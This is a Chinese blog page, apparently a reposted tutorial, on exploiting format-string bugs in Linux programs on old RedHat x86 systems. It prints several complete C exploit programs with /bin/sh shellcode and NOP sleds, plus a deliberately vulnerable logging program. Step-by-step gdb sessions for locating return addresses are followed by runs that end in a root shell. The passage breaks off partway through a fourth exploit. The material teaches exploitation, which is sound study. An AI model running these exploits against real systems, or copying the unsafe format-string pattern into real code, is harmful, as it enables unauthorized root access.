• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            隨筆 - 62  文章 - 257  trackbacks - 0
            <2006年10月>
            24252627282930
            1234567
            891011121314
            15161718192021
            22232425262728
            2930311234

            I Love Programming & Music.... CS Became CSed....

            常用鏈接

            留言簿(7)

            隨筆分類(64)

            隨筆檔案(62)

            文章分類(11)

            文章檔案(11)

            相冊

            BlOoD

            FriEnds

            搞起的人們

            搜索

            •  

            積分與排名

            • 積分 - 116494
            • 排名 - 215

            最新評論

            閱讀排行榜

            評論排行榜

            測試平臺:RedHat 6.1, RedHat 6.2 (Intel i386)

            (繼續)

            那么讓我們來寫一個簡單的測試程序來看一下:

            <- begin ->? exp.c

            #include <stdlib.h>???????????????????????????????????????????
            #include <unistd.h>???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            #define DEFAULT_OFFSET??????????????????? 0???????????????????
            #define DEFAULT_ALIGNMENT???????????????? 2???? // 我們使用兩個字節來進行"對齊"
            #define DEFAULT_RETLOC?????????? 0xbffff6dc???? // 存放main()返回地址的地址??????????????
            #define DEFAULT_BUFFER_SIZE???????????? 512???????????????????
            #define DEFAULT_EGG_SIZE?????????????? 2048???????????????????
            #define NOP??????????????????????????? 0x90???????????????????
            ??????????????????????????????????????????????????????????????
            char shellcode[] =????????????????????????????????????????????
            ? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            ? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            ? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

            ??????????????????????????????????????????????????????????????
            unsigned long get_esp(void) {?????????????????????????????????
            ?? __asm__("movl %esp,%eax");?????????????????????????????????
            }?????????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            main(int argc, char *argv[]) {???????????????????????????
            ? char *buff, *ptr, *egg;?????????????????????????????????????
            ? char *env[2];
            ? long shell_addr,retloc=DEFAULT_RETLOC;??????????????????????????????????????????????????
            ? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
            ? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
            ? int fmt_num=4, i;
            ??????????????????????????????????????????????????????????????
            ? if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址??????????????????????????????????????????????????????????????????????????????????????
            ? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
            ? if (argc > 3) align = atoi(argv[3]);??????????????????????
            ? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
            ? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

            ?
            ??????????????????????????????????????????????????????????????
            ? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
            ? if (!(buff = malloc(bsize))) {??????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????

            ? if (!(egg = malloc(eggsize))) {?????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????
            ?
            ? printf("Using Ret location address: 0x%x\n", retloc);???????????????????????????????????????????????????????????????????
            ? shell_addr = get_esp() + offset;??? //計算我們shellcode所處的地址??????????????????????????????
            ? printf("Using Shellcode address: 0x%x\n", shell_addr);
            ?
            ? ptr = buff;?????????????????????????????????????????????????
            ? memset(buff,'A',4);

            ? i = align;
            ? buff[i]?? =? retloc & 0x000000ff;?? // 將retloc放到buff里???????????????????
            ? buff[i+1] = (retloc & 0x0000ff00) >> 8;????????????????
            ? buff[i+2] = (retloc & 0x00ff0000) >> 16;???????????????
            ? buff[i+3] = (retloc & 0xff000000) >> 24;?????????????????
            ?
            ? ptr = buff + i + 4;
            ? for(i = 0 ; i < 4 ; i++ )? //存放%.10u%.10u%.10u%.10u
            ??? {
            ??????? memcpy(ptr, "%.10u", 5);
            ??????? ptr += 5;
            ??? }
            /* 存放"%.SHELL_ADDRu%n",為了使顯示總長度等于shell_addr,
            ? * 我們減去4個%.10u的長度:4*10,再減去"argv[1] = xxRETloc"的長度:12+4
            ? * 將這個長度作為第5個%u的寬度值???
            ? */?
            sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

            ? ptr = egg;??????????????????????????????????????????????????
            ? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
            ??? *(ptr++) = NOP;???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? for (i = 0; i < strlen(shellcode); i++)?????????????????????
            ??? *(ptr++) = shellcode[i];??????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? buff[bsize - 1] = '\0';?????????????????????????????????????
            ? egg[eggsize - 1] = '\0';????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? memcpy(egg, "EGG=", 4);???????????????????????????????????????
            ? env[0] = egg ;
            ? env[1] = (char *)0 ;

            ? execle("./vul","vul",buff,NULL,env);?????????
            }? /* end of main */??????

            <- end ->?

            注意:在我們的程序里,我們實際使用的模式是:

            AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

            選用%.10u的原因是:如果用"%.nu"來顯示一個數值的時候,若數值長度大于n,則仍然會
            顯示實際的長度,而不會截斷為n。只有在數值長度小于n時,才會在數值前面補'0'使顯
            示長度達到n.而一個四字節的無符號整數,最大為0xffffffff = 4294967295,其長度也
            就是10,因此,使用%.10u將保證顯示長度的精確(肯定為10).現在唯一要確定的就是
            RETloc,也就是main()的返回地址了。這也很簡單:

            [root@rh62 /root]# ./x 0x41414141
            Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
            Using Ret location address: 0x41414141
            Using Shellcode address: 0xbffffb08

            Segmentation fault (core dumped)
            [root@rh62 /root]# gdb ./vul core
            GNU gdb 19991004
            <....>
            #0? 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
            ??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
            ??? ap=0xbffff2e8) at vfprintf.c:1212
            1212??? vfprintf.c: No such file or directory.
            (gdb) bt?
            #0? 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
            ??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
            ??? ap=0xbffff2e8) at vfprintf.c:1212
            #1? 0x40070716 in _IO_vsnprintf (
            ??? string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023,
            ??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
            ??? args=0xbffff2d0) at vsnprintf.c:129
            #2? 0x80484de in log (level=1,
            ??? fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
            ??? at vul.c:13
            #3? 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
            (gdb) i f 3? -----> 查看main()的棧幀
            Stack frame at 0xbffff6d8:
            eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
            caller of frame at 0xbffff2c0
            source language c.
            Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
            Locals at 0xbffff6d8, Previous frame's sp is 0x0
            Saved registers:
            ? ebp at 0xbffff6d8, eip at 0xbffff6dc? ----> OK,存放eip的地址是0xbffff6dc
            (gdb)

            好的,既然現在我們已經知道了RETloc的地址,就讓我們運行一下我們的攻擊程序看看吧:
            [root@rh62 /root]# ./x 0xbffff6dc
            Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
            Using Ret location address: 0xbffff6dc
            Using Shellcode address: 0xbffffb08

            argv[1] = AA薈?.10u%.10u%.10u%.10u%.3221224144u%n
            Segmentation fault (core dumped)
            [root@rh62 /root]# gdb ./vul core
            <....>
            #0? 0x42 in ?? ()
            (gdb) bt
            #0? 0x42 in ?? ()
            (gdb) x/x 0xbffff6dc
            0xbffff6dc:???? 0x00000042
            (gdb)

            很可惜,并沒有看到令人激動的#號提示符。看起來0xbffffb08的長度不能被正確的打印出來,
            根據測試,至少大于0x90000000的長度都不能正確顯示,具體原因還有待研究。感興趣的讀者
            可以自行分析一下。為了得到一個可以工作的版本,我們改動一下vul.c和exp.c:

            <- begin ->? vul1.c

            #include <stdarg.h>
            #include <unistd.h>
            #include <syslog.h>

            #define BUFSIZE 1024

            char egg[BUFSIZE];

            int log(int level, char *fmt,...)
            {
            ?? char buf[BUFSIZE];
            ?? va_list ap;
            ?
            ?? va_start(ap, fmt);
            ?? vsnprintf(buf, sizeof(buf)-1, fmt, ap);
            ?? buf[BUFSIZE-1] = '\0';
            ?? syslog(level, "[hmm]: %s", buf);
            ?? va_end(ap);
            }


            int main(int argc, char **argv)
            {

            ? char buf[BUFSIZE];
            ? int i,num;
            ?
            ? if(getenv("EGG")) {
            ???? /* 我們將環境EGG的內容復制到一個全局buffer里,
            ????? * 而這個buffer的起始地址是0x80xxxxx,它可以被正確顯示
            ????? */
            ???? strncpy(egg, getenv("EGG"), BUFSIZE-1);
            ???? egg[BUFSIZE-1] = '\0';
            ? }
            ? num = argc ;
            ? if(argc > 1) {
            ??? for ( i = 1 ; i < num ; i ++ ) {
            ??????????? snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
            ??????????? buf[BUFSIZE-1] = '\0';
            ??????????? log(LOG_ALERT, buf);? // 這里有問題
            ??????????? printf("argv[%d] = %s \n", i, argv[i]);
            ??? }
            ? }
            }

            <- end ->?

            <- begin ->? exp1.c

            #include <stdlib.h>???????????????????????????????????????????
            #include <unistd.h>???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            #define DEFAULT_ALIGNMENT???????????????? 2???????????????????
            #define DEFAULT_RETLOC?????????? 0xbffffadc??????????????????
            #define DEFAULT_SHELLADDR??????? 0x8049800?? //我們的shellcode地址在Heap/BSS段????????????????
            #define DEFAULT_BUFFER_SIZE???????????? 512???????????????????
            #define DEFAULT_EGG_SIZE?????????????? 1024??????????????????
            #define NOP??????????????????????????? 0x90???????????????????
            ??????????????????????????????????????????????????????????????
            char shellcode[] =????????????????????????????????????????????
            ? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            ? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            ? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

            ??????????????????????????????????????????????????????????????
            unsigned long get_esp(void) {?????????????????????????????????
            ?? __asm__("movl %esp,%eax");?????????????????????????????????
            }?????????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            main(int argc, char *argv[]) {???????????????????????????
            ? char *buff, *ptr, *egg;?????????????????????????????????????
            ? char *env[2];
            ? long retloc = DEFAULT_RETLOC;
            ? long shell_addr = DEFAULT_SHELLADDR;

            ? int align = DEFAULT_ALIGNMENT;???????
            ? int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;????????????????????????????
            ? int i;
            ??????????????????????????????????????????????????????????????

            ? if (argc > 1) sscanf(argv[1],"%x",&retloc);
            ? if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
            ? if (argc > 3) align = atoi(argv[3]);??????????????????????
            ? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
            ? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

            ?
            ??????????????????????????????????????????????????????????????
            ? printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
            ? if (!(buff = malloc(bsize))) {??????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????

            ? if (!(egg = malloc(eggsize))) {?????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? printf("Using RET location address: %#x\n", retloc);
            ? printf("Using Shellcode address: %#x\n", shell_addr);??????????????????????
            ??????????????????????????????????????????????????????????????
            ? ptr = buff;?????????????????????????????????????????????????
            ? memset(buff,'A',4);

            ? i = align;
            ? buff[i]?? =? retloc & 0x000000ff;??????????????????????
            ? buff[i+1] = (retloc & 0x0000ff00) >> 8;????????????????
            ? buff[i+2] = (retloc & 0x00ff0000) >> 16;???????????????
            ? buff[i+3] = (retloc & 0xff000000) >> 24;?????????????????
            ?
            ? ptr = buff + i + 4;
            ? for(i = 0 ; i < 4 ; i++ )
            ??? {
            ??????? memcpy(ptr, "%.10u", 5);
            ??????? ptr += 5;
            ??? }
            ?
            sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

            ? ptr = egg;??????????????????????????????????????????????????
            ? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
            ??? *(ptr++) = NOP;???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? for (i = 0; i < strlen(shellcode); i++)?????????????????????
            ??? *(ptr++) = shellcode[i];??????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? buff[bsize - 1] = '\0';?????????????????????????????????????
            ? egg[eggsize - 1] = '\0';????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? memcpy(egg, "EGG=", 4);???????????????????????????????????????
            ? env[0] = egg ;
            ? env[1] = (char *)0 ;

            ? execle("./vul1","vul1",buff,NULL,env);?????????
            }? /* end of main */??????

            <- end ->?

            這里唯一改變的就是shellcode的地址指向了Heap/BSS區,它通常在內存區域的低端:
            0x8000000以后的地址,這個地址將可以被正確顯示,因此就可以正確的覆蓋main()的
            返回地址,并跳到那里去執行我們的shellcode.這個地址的獲取,也可以通過gdb跟蹤
            得到,這里不再贅述。

            [root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
            Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
            Using RET location address: 0xbffffadc
            Using Shellcode address: 0x8049800

            argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n
            bash#
            很好,成功了!注意在得到#號提示符前,通常需要等待幾秒鐘,這是因為顯示0x8049800
            個字符也是頗需要一段時間的.(當然,結果并沒有顯示在標準輸出上) :-)

            <2> 攻擊方法二:多次覆蓋返回地址(1)
            ====================================

            上面的程序只能在RedHat 6.2這樣的系統上成功,在RedHat 6.1下它是不能成功的。原因
            前面已經提到了。那么是不是在RedHat 6.1下就沒有辦法了呢?并不是這樣的,只要我們動
            一下腦筋,就會發現由于這個問題程序自身的特點頤竊赗edHat 6.1下也可以成功的進行
            攻擊。我們看到問題程序vul.c會顯示并記錄所有用戶輸入的參數,而制約我們的攻擊程序的
            因素就是顯示的長度,那么如果我們不顯示那么さ哪諶藎瑅snprintf()是可以正常工作的:
            AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
            我們首先想到的時候如何減小shell_addr的值。如果我們將一個shell_addr分成四部分:
            shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4

            例如,假設在RETloc這個地址中保存有返回地址0x44332211,我們想將這個0x44332211換成
            存放shellcode的地址:0xbffffcec,那么我們所對應的SH1,SH2,SH3,SH4就分別是:

            SH1 = 0xbf
            SH2 = 0xff
            SH3 = 0xfc
            SH4 = 0xec

            我們所要做的就是依次將這四個地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:

            AA|RETloc? |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
            AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
            AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
            AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n

            注意:我們考慮的是Intel x86的系統,因此,排列順序是反序的
            下圖可以讓你更清楚的看到每一次覆蓋后的變化:

            RETloc? RETloc+1 RETloc+2 RETloc+3
            |0x11?? | 0x22?? | 0x33?? |0x44|?????????????????? 原來存放的地址: 0x44332211
            |0xec?? | 0x00?? | 0x00?? |0x00|?????????????????? 第一次覆蓋SH4:? 0x000000ec
            |0xec?? | 0xfc?? | 0x00?? |0x00| 0x00|???????????? 第二次覆蓋SH3:? 0x0000fcec
            |0xec?? | 0xfc?? | 0xff?? |0x00| 0x00| 0x00|?????? 第三次覆蓋SH2:? 0x00fffcec
            |0xec?? | 0xfc?? | 0xff?? |0xbf| 0x00| 0x00| 0x00| 第四次覆蓋SH1:? 0xbffffcec

            需要特別注意的是:這樣四次覆蓋之后,將導致原來存放函數參數的地址內容被清零,
            例如RETloc+4,RETloc+5,RETloc+6等處,如果該函數在覆蓋以后仍然需要訪問這幾個參
            數,可能會導致函數不能正常退出,特別是一些極端依賴函數參數的情況下。

            另外一個問題是程序是否允許你連續四次進行覆蓋,如果只能覆蓋一次,也不能達到我們
            的目的,不過我們看到我們的問題程序是會循環從main()的參數中讀取并調用log()子函數
            ,那么我們只要提供四個命令行參數就可以進行四次覆蓋了。

            <- begin ->? exp2.c

            #include <stdlib.h>???????????????????????????????????????????
            #include <unistd.h>???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            #define DEFAULT_OFFSET??????????????????? 500???????????????????
            #define DEFAULT_ALIGNMENT???????????????? 2???????????????????
            #define DEFAULT_RETLOC?????????? 0xbffffa6c???????????????????
            #define DEFAULT_BUFFER_SIZE???????????? 128???????????????????
            #define DEFAULT_EGG_SIZE?????????????? 1024???????????????????
            #define NOP??????????????????????????? 0x90???????????????????
            ??????????????????????????????????????????????????????????????
            char shellcode[] =????????????????????????????????????????????
            ? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            ? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            ? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

            ??????????????????????????????????????????????????????????????
            unsigned long get_esp(void) {?????????????????????????????????
            ?? __asm__("movl %esp,%eax");?????????????????????????????????
            }?????????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            main(int argc, char *argv[]) {???????????????????????????
            ? char *buff[4], *ptr, *egg;?????????????????????????????????????
            ? char *env[2];
            ? long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;??????????????????????????????????????????????????
            ? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
            ? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
            ? int i,j;
            ??????????????????????????????????????????????????????????????
            ? if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 輸入RETloc */
            ? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
            ? if (argc > 3) align = atoi(argv[3]);??????????????????????
            ? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
            ? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

            ?
            ??????????????????????????????????????????????????????????????
            ? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
            ? for(i = 0 ; i < 4 ; i++ ) {
            ??? if (!(buff[i] = malloc(bsize))) {??????????????????????????????
            ?????? printf("Can't allocate memory.\n");???????????????????????
            ?????? exit(0);??????????????????????????????????????????????????
            ??? }
            ? }???????????????????????????????????????????????????????????

            ? if (!(egg = malloc(eggsize))) {?????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? printf("Using RET location address: 0x%x\n", retloc);
            ? shell_addr = get_esp() + offset;?????? /* 計算shellcocde所在的地址 */?????????????????????????????????????????????????
            ? printf("Using Shellcode address: 0x%x\n", shell_addr);
            ? for(j = 0; j < 4 ; j++) {????????????????????????????????????????????????????????????
            ???? ptr = buff[j];?????????????????????????????????????????????????
            ???? memset(ptr,'A',4);

            ???? ptr += align;
            ???? (*ptr++) =? retloc & 0x000000ff;??????? /* 填充retloc */??????????????
            ???? (*ptr++) = (retloc & 0x0000ff00) >> 8;????????????????
            ???? (*ptr++) = (retloc & 0x00ff0000) >> 16;???????????????
            ???? (*ptr++) = (retloc & 0xff000000) >> 24;?????????????????
            ?
            ???? retloc++; /* retloc地址后移一個字節,以便進行下一次覆蓋 */
            ???? for(i = 0 ; i < 4 ; i++ )
            ???? {
            ??????? memcpy(ptr, "%.10u", 5); /* 輸入格式串,調整%n所對應的位置 */
            ??????? ptr += 5;
            ???? }
            ???? tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 計算SHj */
            ???? if(tmpaddr > 56 )? /* 計算最后一個%nu中的n值 */
            ?????? sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
            ???? else
            ?????? sprintf(ptr, "%%.%uu%%n", 1);

            ?
            ? }
            ? ptr = egg;??????????????????????????????????????????????????
            ? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
            ??? *(ptr++) = NOP;???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? for (i = 0; i < strlen(shellcode); i++)?????????????????????
            ??? *(ptr++) = shellcode[i];??????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? egg[eggsize - 1] = '\0';????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? memcpy(egg, "EGG=", 4);???????????????????????????????????????
            ? env[0] = egg ;
            ? env[1] = (char *)0 ;

            ? execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);?????????
            }? /* end of main */??????

            <- end ->?


            [root@rh62 /root]# ./exp2
            Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
            Using RET location address: 0xbffffa6c
            Using Shellcode address: 0xbffffcec

            argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
            argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
            argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
            argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
            bash#

            注意我們上面的exp2.c中在計算最后一個%.nu時存在一些問題,如果
            0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所顯示的長度可能不等于(tmpaddr-56)
            ,同樣如果tmpaddr <= 56 ,那么我們的shellcode的地址就會有偏差,幸運的是,由于我們
            的shellcode是存放在環境變量中,它通常在堆棧的高端,地址通常是0xbffff???,只有地址
            的最低一個字節才可能出現上面所講的兩種情況,而如果我們的shellcode前面填充了一些
            NOP指令的話,那么我們的shellcode地址就有一個范圍,只要落在這個范圍內,都可以執行
            我們的shellcode,因此只要我們在這一段地址內選擇一個有效的地址就可以了。

            這個程序在RedHat 6.1和RedHat 6.2下都驗證通過。

            <3> 攻擊方法三:多次覆蓋返回地址(2)
            ======================================

            有讀者可能會說,這個程序的成功依賴于我們可以連續進行四次覆蓋。如果只給我們一次
            機會,是不是就不行了呢?其實,還有一種方法可以完成我們的任務。基本思路也是分四次
            來覆蓋,只不過通過一個*printf()就可以完成了,考慮下列這種情況:

            ? |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
            ???? ^??????? ^??????? ^??????? ^???????????????? |????? |????? |????? |
            ???? |??????? |??????? |??????? |_________________|______|______|______|?????????????????????????????????????
            ???? |??????? |??????? |__________________________|______|______|????????????????????????????????????????????????????
            ???? |??????? |___________________________________|______|?
            ???? |____________________________________________|

            我們使用四個%n,它們會依次將4個顯示長度保存到對應的地址去。我們如果調整%c的個數,
            使第一個%n對應RET1,第二個%n對應RET2,第三個%n對應RET3,第四個%n對應RET4,那么我
            們就成功了一半了。當然我們要讓:
            RET1 = RETloc
            RET2 = RETloc + 1
            RET3 = RETloc + 2
            RET4 = RETloc + 3

            n1 = SH4 - 1*4 - 12 - 4 - 8*3
            (1*4是4個%c顯示的長度,12是"AA"再加上前面的"argv[.."的長度,4是RET1長度,8*3是后
            面三組"AAAARET"的長度)
            n2 = SH3 - SH4
            n3 = SH2 - SH3
            n4 = SH1 - SH2?

            這樣,在碰到第一個%n時,顯示總長度就是SH4,碰到第二個%n時,顯示總長度就是 SH3,依
            此類推。
            注意:由于SH1通常等于0xbf(如果是在堆棧中的話),而SH2通常等于0xff,SH1<SH2,
            因此我們給SH1加上一個大數0x0100,讓它變成0x01BF,這樣在進行第四次覆蓋的時候:
            會將RETloc+4變成0x01,但這通常并不會造成大的影響,RETloc+3仍然被正確的改成了0xbf

            RETloc? RETloc+1 RETloc+2 RETloc+3???????????????????????????????
            |0xec?? | 0xfc?? | 0xff?? |0xbf| 0x01| 0x00| 0x00| 第四次覆蓋SH1:? 0xbffffcec???????????????????????????????

            因此,我們讓n4 = 0x0100 + SH1 - SH2

            另外我們的程序中沒有使用%.nu的格式而是采用了%nc, 這是因為%nc可以更加準確的決定
            我們的顯示長度,只要n>0,顯示長度總是精確的等于n,這就為我們的計算帶來了很大的方
            便。(注意不能使用%.nc的格式,這不起作用) 不過%nc會使用空格來填充空白部分,如果
            應用程序將空格作為分隔符來解釋時,可能會出問題。

            <- begin ->? exp3.c

            #include <stdlib.h>???????????????????????????????????????????
            #include <unistd.h>???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            #define DEFAULT_OFFSET??????????????????? 550???????????????????
            #define DEFAULT_ALIGNMENT???????????????? 2???????????????????
            #define DEFAULT_RETLOC?????????? 0xbffffabc???????????????????
            #define DEFAULT_BUFFER_SIZE???????????? 128???????????????????
            #define DEFAULT_EGG_SIZE?????????????? 1024???????????????????
            #define NOP??????????????????????????? 0x90???????????????????
            ??????????????????????????????????????????????????????????????
            char shellcode[] =????????????????????????????????????????????
            ? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            ? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            ? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

            ??????????????????????????????????????????????????????????????
            unsigned long get_esp(void) {?????????????????????????????????
            ?? __asm__("movl %esp,%eax");?????????????????????????????????
            }?????????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            main(int argc, char *argv[]) {???????????????????????????
            ? char *buff, *ptr, *egg;?????????????????????????????????????
            ? char *env[2];
            ? long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;??????????????????????????????????????????????????
            ? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
            ? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
            ? int i,SH1,SH2,SH3,SH4,oldSH4;
            ??????????????????????????????????????????????????????????????
            ? if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 輸入RETloc */
            ? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
            ? if (argc > 3) align = atoi(argv[3]);??????????????????????
            ? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
            ? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

            ?
            ??????????????????????????????????????????????????????????????
            ? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);????????????????????????????????????????????????????????????
            ?
            ? if (!(buff = malloc(bsize))) {??????????????????????????????
            ?????? printf("Can't allocate memory.\n");???????????????????????
            ?????? exit(0);??????????????????????????????????????????????????
            ??? }
            ????????????????????????????????????????????????

            ? if (!(egg = malloc(eggsize))) {?????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? printf("Using RET location address: 0x%x\n", retloc);
            ? shell_addr = get_esp() + offset;?????? /* 計算shellcocde所在的地址 */?????????????????????????????????????????????????
            ? printf("Using Shellcode address: 0x%x\n", shell_addr);
            ?
            ? SH1 = (shell_addr >> 24) & 0xff;
            ? SH2 = (shell_addr >> 16) & 0xff;
            ? SH3 = (shell_addr >>? 8) & 0xff;
            ? SH4 = (shell_addr >>? 0) & 0xff;

            ? /* 如果SH4小于44,我們就增大它的值,讓它等于44 + 1,以免出現負值 */
            ? if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
            ????? oldSH4 = SH4;
            ????? SH4 = 4 + 12 + 4 + 8*3 + 1;
            ????? printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4);
            ? }
            ?
            ???? ptr = buff;?????????????????????????????????????????????????
            ?
            ???? for (i = 0; i <4 ; i++, retloc++ ){
            ?????? memset(ptr,'A',4);
            ?????? ptr += 4 ;
            ?????? (*ptr++) =? retloc & 0xff;??????? /* 填充retloc+n (n= 0,1,2,3) */?????????
            ?????? (*ptr++) = (retloc >> 8? ) & 0xff ;????????????????
            ?????? (*ptr++) = (retloc >> 16 ) & 0xff ;????????????????
            ?????? (*ptr++) = (retloc >> 24 ) & 0xff ;????????????????
            ????? }
            ?????????
            ???? for(i = 0 ; i < 4 ; i++ )
            ???? {
            ??????? memcpy(ptr, "%c", 2); /* 輸入格式串,調整%n所對應的位置 */
            ??????? ptr += 2;
            ???? }
            ???? /* "輸入"我們的shellcode地址 */
